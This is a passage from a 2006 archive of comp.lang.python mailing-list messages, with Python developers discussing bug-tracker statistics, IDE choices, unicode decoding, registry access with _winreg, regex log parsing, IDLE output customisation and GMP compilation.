	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com>
	<mailman.1457.1160140815.10491.python-list@python.org>
	<H_IVg.138311$zy5.1854132@twister1.libero.it>
Message-ID: <1f7befae0610071042p322ba572n9180852cde5ff861@mail.gmail.com>

[Giovanni Bajo]
> I understand your concerns, but I have to remember you that most bug reports
> submitted by users go totally ignored for several years, or, better, forever. I
> do not have a correct statistic for this,

Indeed you do not.

> but I'm confident that at least 80% of the RFE or patches filed every week
> is totally ignored, and probably at least 50% of the bugs too.

None are /totally ignored/ -- indeed, at least I see every one as it
comes in.  You might want to change your claim to that no work
obviously visible to you is done on them.  That would be better.  But,
in fact, most bugs and patches are eventually closed, and many that
stay open involve such obscure platform-dependent mysteries that
nobody with sufficient platform expertise to resolve them appears to
exist.  For example, if you'd prefer, I'll assign all bugs and patches
involving threads on HP-UX to you from now on ;-)

These are the actual stats as of a few minutes ago:

Bugs:  938 open of 7169 total ~= 87% closed
Patches:  429 open of 3846 total ~= 89% closed
Feature Requests:  240 open of 479 total ~= 50% closed

> I think there is a much bigger problem here wrt QOS.

Well, you're confident that 80% of patches are ignored.  In reality,
89% of all patches ever submitted have been pursued to final
resolution.  Call me a stickler for detail, but something just doesn't
jibe there to my eyes ;-)

There's an easy way to improve these percentages dramatically,
although they're not bad as-is:  run thru them and close every one
that isn't entirely clear.  For example, reject every feature request,
close every patch that changes visible behavior not /clearly/ fixing a
bona fide bug, and close every "bug report" that's really a feature
request or random "but Perl/Ruby/PHP doesn't do it this way" complaint
in disguise.

The Python developers tend to keep a report open if there's a scant
non-zero chance that somebody, someday, might appear who's motivated
enough to make something of it.  If the goal was instead to make the
percentages "look good", they could easily and justifiably be
dramatically "improved" before today ends.

For example, the oldest patch open today is a speculative
implementation of rational numbers for Python.  This is really a
feature request in disguise, and has very little chance-- but not /no/
chance --of ever being accepted.  The oldest bug open today is from 6
years ago, and looks like an easy-to-answer /question/ about the
semantics of regular expressions in Python 1.6.  I could take time to
close that one now, but is that a /good/  use of time?  Yes, but, at
the moment, even finishing this reply seems to be a /better/ use of my
time -- and after that, I'm going to get something to eat ;-)

Note that I don't mean to claim that turnaround time on bugs and
patches is ideal.  To the contrary, if it's /my/ bug or patch I'm
looking at it, turnaround time sucks, and if you're looking at yours,
likewise for you.  That's what happens when there are thousands of
"you"s and a handful of "them"s, all of the latter volunteering "spare
time".

OTOH, turnaround time on Python bugs classified as critical is superb.


From hg at nospam.com  Fri Oct 13 16:26:59 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 15:26:59 -0500
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.482.1160769808.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>	<mailman.480.1160767168.11739.python-list@python.org>	<tURXg.27343$Go3.5193@dukeread05>	<mailman.481.1160768935.11739.python-list@python.org>	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
Message-ID: <XMSXg.27356$Go3.11355@dukeread05>

Theerasak Photha wrote:
> On 10/13/06, hg <hg at nospam.com> wrote:
> 
>> I have spend the past two years with eclipse/pydev ... a few issue are
>> still troublesome to me (speed, search for definitions ... being a few
>> of them) ... and until two days ago I had not even looked at Wing as I
>> wrongly thought it was on Windoze-based. But I must must admit I am
>> impressed - yet I feel it would be stupid to not look carefully at
>> Komodo ... hence my questions.
> 
> I haven't used Komodo personally. I like Emacs. However:
> 
> 1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface
> 'looks' sparse as well, and sparse is the last word that comes to mind
> when I think of Emacs
> 2) I've *heard* good things about Komodo before from others---it might
> just be awesome
> 
> Perhaps you could try the Eric IDE? I hear SPE is not in active
> dev.--- a pity to be sure, but I have used Eric before and found it
> pretty easy to use and featureful.
> 
> -- Theerasak

Eric3 is very nice and moving forward ... I believe it is based on the
QT library which free ... yet not so free under windows (i have yet to
understand the business model).


Emacs I use for very small project (my finger talk emacs ;-) ) ... but
CTAGS is a bit cumbersome for large projects and as my architectures
have much need for improvements, I need powerful tools to find my way
around.

PS: I also was taken aback by the fact that the PyDev license was
"per-year" ... it's like buying Word for a year only ... isn't it ?


hg





From blair.houghton at gmail.com  Mon Oct  2 13:00:26 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 2 Oct 2006 10:00:26 -0700
Subject: How can I correct an error in an old post?
In-Reply-To: <mailman.1100.1159803391.10491.python-list@python.org>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
Message-ID: <1159808426.817883.280560@h48g2000cwc.googlegroups.com>


Steve Holden wrote:
> Since this message was never on topic, I'd appreciate it if all
> concerned would close this thread now.

I already did.  How did you get in here?

--Blair



From horpner at yahoo.com  Thu Oct 19 12:36:07 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 18:36:07 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
	<2m8k04-gfe.ln1@nb2.stroeder.com>
	<slrnejf84b.rk.horpner@FIAD06.norwich.edu>
	<pan.2006.10.19.16.33.24.967056@gmx.net>
Message-ID: <slrnejfad7.1lg.horpner@FIAD06.norwich.edu>

On 2006-10-19, Marc 'BlackJack' Rintsch <bj_666 at gmx.net> wrote:
> In <slrnejf84b.rk.horpner at FIAD06.norwich.edu>, Neil Cerutti wrote:
>>> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode
>>> object. With print this is implicitly converted to string. The
>>> char set used depends on your console
>> 
>> No, the setting of the console encoding (sys.stdout.encoding) is
>> ignored.
>
> Nope, it is not ignored.  This would not work then::
>
>   In [2]: print 'K\xc3\xb6nig'.decode('utf-8')
>   K?nig
>
>   In [3]: import sys
>
>   In [4]: sys.getdefaultencoding()
>   Out[4]: 'ascii'

OK, I was thinking of the behavior of file.write(s). Thanks again
for the correction.

-- 
Neil Cerutti


From johnjsal at NOSPAMgmail.com  Mon Oct 30 15:49:18 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 20:49:18 GMT
Subject: Python 123 introduction
In-Reply-To: <mailman.1503.1162234443.11739.python-list@python.org>
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>	<1162230329.413075.93370@b28g2000cwb.googlegroups.com>
	<mailman.1503.1162234443.11739.python-list@python.org>
Message-ID: <izt1h.207$1n3.4433@news.tufts.edu>

skip at pobox.com wrote:
>     dakman> This is great! A excellent tutorial for somone who has prior
>     dakman> experience in programming and is starting out in python. My
>     dakman> friend keeps wanting me to teach him python, I think this would
>     dakman> be the perfect link for him.
> 
> I'm not trying to minimize Jeremy's efforts in any way, but how is his
> tutorial a significant improvement over the original
> (http://www.python.org/doc/current/tut/)?
> 
> Skip

well, not to minimize the efforts of guido's tutorial, but sometimes it 
seems less of a tutorial and more of a summary of python's features, so 
it never hurts to have things explained in a different way...


From larry dot bates at websafe dot com  Mon Oct 23 15:19:16 2006
From: larry dot bates at websafe dot com (Larry Bates)
Date: Mon, 23 Oct 2006 14:19:16 -0500
Subject: _winreg.saveKey question
In-Reply-To: <1161630512.093547.287390@f16g2000cwb.googlegroups.com>
References: <1161630512.093547.287390@f16g2000cwb.googlegroups.com>
Message-ID: <Le6dndtlDI4kiKDYnZ2dnUVZ_sydnZ2d@comcast.com>

> remotekey = _winreg.OpenKey(rhostreg, key)


Try adding the sam=_winreg.KEY_SET_VALUE parameter.

Help on built-in function OpenKey in module _winreg:

OpenKey(...)
    key = OpenKey(key, sub_key, res = 0, sam = KEY_READ) - Opens the
          specified key.

    key is an already open key, or any one of the predefined HKEY_* constants.
    sub_key is a string that identifies the sub_key to open
    res is a reserved integer, and must be zero.  Default is zero.
    sam is an integer that specifies an access mask that describes the desired
     security access for the key.  Default is KEY_READ

    The result is a new handle to the specified key
    If the function fails, an EnvironmentError exception is raised.


The default is KEY_READ so you can't update.

-Larry Bates


From fredrik at pythonware.com  Wed Oct 11 01:30:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 07:30:40 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
Message-ID: <eghvi1$98i$1@sea.gmane.org>

Theerasak Photha wrote:

> I wrote this for someone else to take an object and list of types,
> then check if obj is one of those types, raising an error otherwise.

note that a call to your function is pretty much equivalent to

	assert isinstance(obj, types)

which has the additional advantage that you can provide a more specific 
message:

	assert isinstance(obj, types), "message"

and also disable the check once you've verified that the code actually 
does the right thing.

</F>



From fredrik at pythonware.com  Thu Oct  5 16:13:53 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 22:13:53 +0200
Subject: How do I put % in a format sting?
In-Reply-To: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com>
References: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com>
Message-ID: <45256781.9010703@pythonware.com>

Gregory Pi?ero wrote:

> How do I put % in a format sting?

write it twice.

</F>



From johnzenger at gmail.com  Fri Oct  6 11:47:57 2006
From: johnzenger at gmail.com (johnzenger at gmail.com)
Date: 6 Oct 2006 08:47:57 -0700
Subject: extract certain values from file with re
In-Reply-To: <mailman.1438.1160128294.10491.python-list@python.org>
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <1160149677.132820.40110@i3g2000cwc.googlegroups.com>

Can you safely assume that the lines you want to extract all contain
numbers, and that the lines you do not wish to extract do not contain
numbers?

If so, you could just use the Linux grep utility:  "grep '[0123456789]'
filename"

Or, in Python:

import re
inf = file("your-filename-here.txt")
outf = file("result-file.txt","w")
digits = re.compile("\d")

for line in inf:
   if digits.search(line): outf.write(line)
outf.close()
inf.close()

As for your "more difficult" file, take a look at the CSV module.  I
think that by changing the delimiter from a comma to a |, you will be
95% of the way to your goal.

Fabian Braennstroem wrote:
> Hi,
>
> I would like to remove certain lines from a log files. I had
> some sed/awk scripts for this, but now, I want to use python
> with its re module for this task.
>
> Actually, I have two different log files. The first file looks
> like:
>
>    ...
>    'some text'
>    ...
>
>        ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I  I------------ FIELD VALUES AT MONITORING LOCATION  ----------I
>         NO    UMOM     VMOM     WMOM     MASS     T EN     DISS     ENTH       U        V        W        P       TE       ED        T
>          1  9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00  1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01
>          2  3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00  1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01
>          3  2.64E-02 1.99E-02 2.40E-02 1.00E+00 1.85E-01 3.75E-01 0.00E+00  1.17E-01-3.27E-03 6.07E-02 4.02E-04 4.15E-04 1.38E-04 2.00E+01
>          4  2.18E-02 1.52E-02 1.92E-02 1.00E+00 1.21E-01 2.53E-01 0.00E+00  1.23E-01-4.85E-03 6.77E-02 1.96E-05 9.01E-04 3.88E-04 2.00E+01
>          5  1.91E-02 1.27E-02 1.70E-02 1.00E+00 8.99E-02 1.82E-01 0.00E+00  1.42E-01-6.61E-03 7.65E-02 1.78E-04 1.70E-03 9.36E-04 2.00E+01
>    ...
>    ...
>    ...
>
>       2997  3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.66E-04 6.28E-04 0.00E+00 -3.02E-01 3.56E-02-7.97E-02-7.11E-02 4.08E-02 1.86E-01 2.00E+01
>       2998  3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.65E-04 6.26E-04 0.00E+00 -3.02E-01 3.63E-02-8.01E-02-7.10E-02 4.02E-02 1.83E-01 2.00E+01
>       2999  3.76E-04 2.89E-04 3.05E-04 2.70E-02 5.64E-04 6.26E-04 0.00E+00 -3.02E-01 3.69E-02-8.04E-02-7.10E-02 3.96E-02 1.81E-01 2.00E+01
>       3000  3.78E-04 2.91E-04 3.07E-04 2.74E-02 5.64E-04 6.26E-04 0.00E+00 -3.01E-01 3.75E-02-8.07E-02-7.09E-02 3.91E-02 1.78E-01 2.00E+01
>     &&&&&&  --------------------------------------------------------------  ----
>
>    ....
>    'some text'
>    ....
>
> I actually want to extract the lines with the numbers, write
> them to a file and finally use gnuplot for plotting them. A
> nicer and more python way would be to extract those numbers,
> write them into an array according to their column and plot
> those using the gnuplot or matplotlib module :-)
>
> Unfortunately, I am pretty new to the re module and tried
> the following so far:
>
>
>   import re
>   pat = re.compile('\ \ \ NO.*?&&&&&&', re.DOTALL)
>   print re.sub(pat, '', open('log_star_orig').read())
>
>
> but this works just the other way around, which means that
> the original log file is printed without the number part. So
> the next step would be to delete the part from the first
> line to '\ \ \ \ NO' and the part from '&&&&&&' to the end,
> but I do not know how to address the first and last line!?
>
> Would be nice, if you can give me a hint and especially
> interesting would it be, when you have an idea, how I can
> put those columns in arrays, so I can plot them right away!
>
>
> A more difficult log file looks like:
>
>  ======================================================================
>  OUTER LOOP ITERATION =    1                     CPU SECONDS = 2.40E+01
>  ----------------------------------------------------------------------
>  |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
>  +----------------------+------+---------+---------+------------------+
>  | U-Mom                | 0.00 | 1.0E-02 | 5.0E-01 |       4.9E-03  OK|
>  | V-Mom                | 0.00 | 2.4E-14 | 5.6E-13 |       3.8E+09  ok|
>  | W-Mom                | 0.00 | 2.5E-14 | 8.2E-13 |       8.3E+09  ok|
>  | P-Mass               | 0.00 | 1.1E-02 | 3.4E-01 |  8.9  2.7E-02  OK|
>  +----------------------+------+---------+---------+------------------+
>  | K-TurbKE             | 0.00 | 1.8E+00 | 1.8E+00 |  5.8  2.2E-08  OK|
>  | E-Diss.K             | 0.00 | 1.9E+00 | 2.0E+00 | 12.4  2.2E-08  OK|
>  +----------------------+------+---------+---------+------------------+
>
>  ======================================================================
>  OUTER LOOP ITERATION =    2                     CPU SECONDS = 8.57E+01
>  ----------------------------------------------------------------------
>  |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
>  +----------------------+------+---------+---------+------------------+
>  | U-Mom                | 1.44 | 1.5E-02 | 5.3E-01 |       9.6E-03  OK|
>  | V-Mom                |99.99 | 1.1E-03 | 6.2E-02 |       5.7E-02  OK|
>  | W-Mom                |99.99 | 1.9E-03 | 6.0E-02 |       5.9E-02  OK|
>  | P-Mass               | 0.27 | 3.0E-03 | 2.0E-01 |  8.9  7.9E-02  OK|
>  +----------------------+------+---------+---------+------------------+
>  | K-TurbKE             | 0.03 | 5.4E-02 | 4.4E-01 |  5.8  2.9E-08  OK|
>  | E-Diss.K             | 0.05 | 8.9E-02 | 9.3E-01 | 12.4  2.6E-08  OK|
>  +----------------------+------+---------+---------+------------------+
>
>
>
> ...
> ...
> ...
>
>
>  ======================================================================
>  OUTER LOOP ITERATION =  416                     CPU SECONDS = 2.28E+04
>  ----------------------------------------------------------------------
>  |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
>  +----------------------+------+---------+---------+------------------+
>  | U-Mom                | 0.96 | 1.8E-04 | 5.8E-03 |       1.8E-02  OK|
>  | V-Mom                | 0.98 | 3.6E-05 | 1.5E-03 |       4.4E-02  OK|
>  | W-Mom                | 0.99 | 4.5E-05 | 2.1E-03 |       4.3E-02  OK|
>  | P-Mass               | 0.96 | 8.3E-06 | 3.0E-04 | 12.9  4.0E-02  OK|
>  +----------------------+------+---------+---------+------------------+
>  | K-TurbKE             | 0.98 | 1.5E-03 | 3.0E-02 |  5.7  2.5E-06  OK|
>  | E-Diss.K             | 0.97 | 4.2E-04 | 1.1E-02 | 12.3  3.9E-08  OK|
>  +----------------------+------+---------+---------+------------------+
>
>
> With my sed/awk/grep/gnuplot script I would extract the
> values in the 'U-Mom' row using grep and print a certain
> column (e.g. 'Max Res') to a file and print it with gnuplot.
> Maybe I have to remove those '|' using sed before...
> Do you have an idea, how I can do this completely using
> python?
> 
> Thanks for your help!
> 
> 
> Greetings!
>  Fabian



From bignose+hates-spam at benfinney.id.au  Thu Oct 12 01:43:25 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 12 Oct 2006 15:43:25 +1000
Subject: Experiences with Py2Exe
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
	<452cf765$1@news.vo.lu>
	<1160593412.770417.21010@i42g2000cwa.googlegroups.com>
	<452dcfba$1@news.vo.lu>
Message-ID: <874pua3x8i.fsf@benfinney.id.au>

Antoine De Groote <antoine at vo.lu> writes:

> Isaac Rodriguez wrote:
> > Do you have a specific reason for using Inno Setup and not a
> > Windows Installer based setup?
>
> The main reason for using Inno Setup is that it is free. Then I
> quickly saw that it is powerful and easy to use. And I don't like
> Microsoft too much in general, and that's also one of the reasons
> why I preferred to stay away from MSI...

To clarify, Inno Setup is released under a free-software license:

    <URL:http://www.jrsoftware.org/files/is/license.txt>

which makes it a better bet than non-free software as infrastructure
to build upon.

-- 
 \        "Nothing in life is so exhilarating as to be shot at without |
  `\                                    result."  -- Winston Churchill |
_o__)                                                                  |
Ben Finney



From http  Fri Oct 20 10:46:30 2006
From: http (Paul Rubin)
Date: 20 Oct 2006 07:46:30 -0700
Subject: list comprehension (searching for onliners)
References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com>
	<mailman.848.1161355253.11739.python-list@python.org>
Message-ID: <7xbqo7hwop.fsf@ruckus.brouhaha.com>

Gerardo Herzig <gherzig at fmed.uba.ar> writes:
> You are the man, you are the man!! Yes, i need those dicts in order to
> assign them to a nested <TMPL_LOOP> for the htmltmpl templating
> engine. Thats why i cant use the solution provided by Max, and thanks
> to Jon too!!

I'm confused, can't you write a multi-line function and pass that?


From anthra.norell at vtxmail.ch  Wed Oct 25 06:40:01 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Wed, 25 Oct 2006 12:40:01 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <jJi%g.14270$Y24.10331@newsread4.news.pas.earthlink.net>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>	<JfU_g.1083$GR2.132@tornado.texas.rr.com>	<453CBC03.6090003@vtxmail.ch>	<453D151C.8080905@vtxmail.ch>	<453D16CA.6030805@vtxmail.ch>	<mailman.1005.1161632036.11739.python-list@python.org>
	<jJi%g.14270$Y24.10331@newsread4.news.pas.earthlink.net>
Message-ID: <453F3F01.2010005@vtxmail.ch>

Dennis Lee Bieber wrote:
> On Mon, 23 Oct 2006 20:34:20 +0100, Steve Holden <steve at holdenweb.com>
> declaimed the following in comp.lang.python:
>
>
>   
>> Don't give up, attach it as a file!
>>
>>     
> 	Which might be acceptable on a mailing list, but might be
> problematic on a "text" newsgroup... Though one attachment a year might
> not be noticed by those providers with strict "binaries in binary groups
> only" <G>
>   
The comment isn't lost on me. Much less as it runs in an open door. 
Funny thing is that I verified my settings by sending the message to 
myself and it looked fine. Then I sent it to the news group and it was 
messed up again. I will work some more on my setting.

Frederic




From kylotan at gmail.com  Mon Oct  2 04:58:04 2006
From: kylotan at gmail.com (Ben Sizer)
Date: 2 Oct 2006 01:58:04 -0700
Subject: Can recursive descent parser handle Python grammar?
In-Reply-To: <1159554346.373656.5790@m73g2000cwd.googlegroups.com>
References: <1159484100.469926.25210@h48g2000cwc.googlegroups.com>
	<1159519787.034676.316060@b28g2000cwb.googlegroups.com>
	<1159554346.373656.5790@m73g2000cwd.googlegroups.com>
Message-ID: <1159779484.680370.93190@e3g2000cwe.googlegroups.com>

seberino at spawar.navy.mil wrote:
> Ben Sizer wrote:
> > seberino at spawar.navy.mil wrote:
> > > I'm a compiler newbie and was curious if Python's language/grammar
> > > can be handled by a recursive descent parser.
> >
> > I believe a recursive descent parser can handle any grammar; it just
> > depends on how pure you want it to be.
> >
> > --
> > Ben Sizer
>
> Thanks!  What do you mean by 'pure'?

By 'pure' I mean entirely recursive and not iterative. Implementation
becomes easier if you're not writing a purely recursive parsing
program, and it makes it more practical to implement an arbitrary
amount of 'read-ahead'.

-- 
Ben Sizer



From ilias at lazaridis.com  Sat Oct  7 19:59:20 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 7 Oct 2006 16:59:20 -0700
Subject: IDLE - Customizing output format
In-Reply-To: <ef3hu5$a20$1@mouse.otenet.gr>
References: <ef3hu5$a20$1@mouse.otenet.gr>
Message-ID: <1160265560.499186.277420@m73g2000cwd.googlegroups.com>


Ilias Lazaridis wrote:
> IDLE has an output format like this:
>
>  >>> object
> <type 'object'>
>  >>> type
> <type 'type'>
>  >>> object.__class__
> <type 'type'>
>  >>> object.__bases__
>
> How can I customize it to become like that:
>
>  >>> object
>      <type 'object'>
>  >>> type
>      <type 'type'>
>  >>> object.__class__
>      <type 'type'>
>  >>> object.__bases__
>
> or that:
>
>  >>> object
>    : <type 'object'>
>  >>> type
>    : <type 'type'>
>  >>> object.__class__
>    : <type 'type'>
>  >>> object.__bases__
>
> (preferably without modifying code)

I am close to finalizing this task, but have two tiny problems:

import the module from within a site_packages *.pth file, or
include the code into sitecustomize, or
import it withine an IDLE session:

# idlex.py
#---------------------------------------------------------------------------------------
import sys

class ClaimStdOut:
    def __init__(self, stream, prefix):
        self.stdout = stream   #remember original stream
        self.prefix = prefix

    def write(self, output):
        self.stdout.write(self.prefix + output)


#this one is _not_ executed on import:
sys.stdout = ClaimStdOut(sys.stdout, '=== ')

#workaround:
def f(obj):
    if obj is not None:
        print repr(obj)
    # Claiming StdOut here
    sys.stdout = ClaimStdOut(sys.stdout, '::: ')
    #disable displayhook (which is just used to set stdout)
    sys.displayhook = sys.__displayhook__

# this one _is_ executed on import
sys.displayhook = f
#---------------------------------------------------------------------------------------

So, why is this line not executed during import?

sys.stdout = ClaimStdOut(sys.stdout, '=== ')

additionally, the output of IDLE looks like this:

IDLE 1.1.3      ==== No Subprocess ====
>>> 1==1
True
[the new stdout is active now]
>>> 1==1
::: True:::
>>>

Possibly IDLE prints the CR/LF in a second call.

How can I compare this operating-system-independent?

if (output == <os.line-end-marker>):
        self.stdout.write(output)
else:
        self.stdout.write(self.prefix + output)

.

--
http://case.lazaridis.com/ticket/10



From fulvio at tm.net.my  Tue Oct 24 07:47:43 2006
From: fulvio at tm.net.my (Fulvio)
Date: Tue, 24 Oct 2006 19:47:43 +0800
Subject: Change on file
Message-ID: <200610241947.43530.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I was thinking about use md5 check to se if a file had changes since last 
check. Am I correct?
Is there any other light method?

F



From pecora at anvil.nrl.navy.mil  Tue Oct 17 09:39:16 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 09:39:16 -0400
Subject: pylab package dependencies (was: Plotting histograms)
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
Message-ID: <pecora-D51FB8.09391617102006@ra.nrl.navy.mil>

In article <mailman.604.1161057667.11739.python-list at python.org>,
 Robert Kern <robert.kern at gmail.com> wrote:

> I presume what you did was something like this:
> 
>    from matplotlib import pylab
>    [N,x] = hist(eig, 10)
> 
> What you actually want is this:
> 
>    from matplotlib import pylab
>    [N,x] = pylab.hist(eig, 10)
> 
> Or, if you're at the interactive prompt (but remember that it is inadvisable 
> to 
> do so in modules):
> 
>    from matplotlib.pylab import *
>    [N,x] = hist(eig, 10)
> 
> You will probably want to review the section of the tutorial on importing 
> modules if you don't understand the differences.


Is pylab part of matplotlib?  I always thought it was the other way 
around. I have a similar view of numpy as part of scipy.  Maybe I'm 
confused on the dependencies.  I find it confusing in the examples 
sometimes when the "bigger" package is imported (e.g. scipy) and then a 
"subpackage" is also imported.  Like this:

from scipi import *
from scipi import numpy

I know I've seen stuff like that, but I don't get it.  The dependencies 
are confusing to me.  

I did a search of the tutorial on 'import' but didn't find the answer.

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From casevh at comcast.net  Tue Oct 31 17:38:49 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 31 Oct 2006 14:38:49 -0800
Subject: "best" rational number library for Python?
In-Reply-To: <1162332835.005490.38220@b28g2000cwb.googlegroups.com>
References: <mailman.1558.1162317188.11739.python-list@python.org>
	<1162332835.005490.38220@b28g2000cwb.googlegroups.com>
Message-ID: <1162334329.429582.136710@e64g2000cwd.googlegroups.com>

Oops, on the double-post.

casevh at comcast.net wrote:
> > A guy at work asked for functionality commonly found with rational numbers,
> > so I said I'd find and install something.  I figured gmpy would be suitable,
> > alas I'm having trouble successfully building the underlying GMP 4.2.1
> > library on a PC running Solaris 10 (won't compile with the default --host,
> > fails "make check" if I go the no-assembly route).  Before I invest a bunch
> > of time into this, am I barking up the wrong tree?
> >
> I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the
> GCC and Sun Studio compilers on AMD 32-bit platform.
>
> I just compiled GMP 4.2.1 on a P4 using
>
> $ CFLAGS="" CC=gcc ./configure
> $ gmake; gmake check
>

You must use "gmake". "make" fails during "make check"

> and all tests passed.
> 
> casevh



From fredrik at pythonware.com  Sun Oct  1 06:12:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 12:12:36 +0200
Subject: Escapeism
In-Reply-To: <015b01c6e53c$91844100$03000080@hendrik>
References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com><slrnehsel7.o25.sybrenUSE@schuimige.stuvel.eu>	<1159635727.840033.169540@m73g2000cwd.googlegroups.com>
	<015b01c6e53c$91844100$03000080@hendrik>
Message-ID: <efo4am$e1s$1@sea.gmane.org>

Hendrik van Rooyen wrote:

> dumb question - is the backslash as escape character fixed

yes.

> seems to me that would help

help with what?

 > or if you could turn the behaviour off - don't know how though...

eh?  if you don't want to use repr(), you don't have to.

</F>



From paul at boddie.org.uk  Wed Oct 25 11:13:39 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 25 Oct 2006 08:13:39 -0700
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<1161783204.875966.164720@b28g2000cwb.googlegroups.com>
Message-ID: <1161789219.663099.275260@i42g2000cwa.googlegroups.com>

rdsteph at mac.com wrote:
>
> Well, I don't know what I was thinking, exactly, when I rated
> PythonCard's ease of use...so I went back and changed it to rate it a
> lot higher. The ratings in this script were done a long time ago now
> and I need to re-do them, and add some new categories to rate also.
> Maybe this weekend...

I know you're a big advocate of PythonCard, but if it weren't easier to
use than wxPython, then it would surely be hard to justify its
existence.

> I have been thinking about doing a new version of this script that
> allows visitors to the web site to enter their own ratings for each GUI
> toolkit, for each criterion, store them by CGI and calculate a running
> average of the ratings, maybe eliminating the very extreme high and low
> scores to weed out spam, etc. Then, a visitor could use an online
> script with each GUI toolkit rated by the "community" for each
> criterion. I could do the same for Python IDE's, web frameworks, etc.
>
> Still, these would still be toys and not to be taken too seriously, but
> I might do it as a little project nonetheless.

A collaborative scoring application would be interesting and either
amusing or rather useful. It might have uses in other domains, too.

> Concerning GUI toolkits, I find myself coming back to Tkinter these
> days. A lot of Python programs are written using Tkinter. I like to
> fool around with a lot of the old stuff on the web for free,
> miscellaneous apps and such, and there are still more Tkinter GUI's out
> there than anything else.

There's nothing particularly wrong about Tkinter as such, but if I were
doing serious user interface development these days, I'd have a hard
time justifying using Tkinter even though I was once a big fan of the
technology, Pmw and related stuff. Although people may assert that the
Tk scene is still vibrant, the intersection of Tk and Python doesn't
seem to have moved very far, despite Fredrik's efforts: what happened
to Tkinter 3000 or was that a codename for something else? And whilst
things like the Tk canvas were almost revolutionary back in the early
1990s, the momentum just doesn't seem to have been there to produce
similarly revolutionary things in the Tk universe today, at least as
far as I can tell.

> Recently I have been having fun figuring out which new phone to buy. I
> decided to get a smart phone that could run Python. If I lived in
> Europe, or anywhere GSM rules, one of the Nokia series 60 would be a no
> -brainer. But here in the USA, I will probably will wind up getting a
> Windows based model.

I wonder whether we'll see Python plus user interface integration on
this device:

http://www.trolltech.com/products/qtopia/greenphone/index

> Guess what: Folks have Tkinter up and running on Pocket PC's and
> smartphones. I like that. Tkinter is everywhere. Don't forget, the
> Komodo IDE has a Tk based GUI builder.

I guess a decent IDE comparison would make a good resource given the
repetitive "which IDE is best?" threads that appear on
comp.lang.python.

> P.S. There is a 3 hour lecture by Dr. Sergio Rey of San Diego St. U. I
> am putting up as a podcast. He teaches a course in Python in the
> graduate department of Geographical Sciences. Python is heavily used in
> that field of study (as is Tkinter).
>
> The lecture is in 2 parts. Sound quality is excellent. <a
> href="http://www.awaretek.com/python/index.html">Tkinter podcasts</a>

I'm a regular listener of your podcasts, and look forward to many more!

Paul



From python.list at tim.thechases.com  Tue Oct 24 17:50:17 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 24 Oct 2006 16:50:17 -0500
Subject: strange problem
In-Reply-To: <aEv%g.8995$iM2.2455@trndny08>
References: <aEv%g.8995$iM2.2455@trndny08>
Message-ID: <453E8A99.8080702@tim.thechases.com>

> This file has 1,000,000+ lines in it, yet when I print the counter 'cin' 
> at EOF I get around 10,000 less lines. Any ideas?
> 
>     lineIn = 
> csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|')
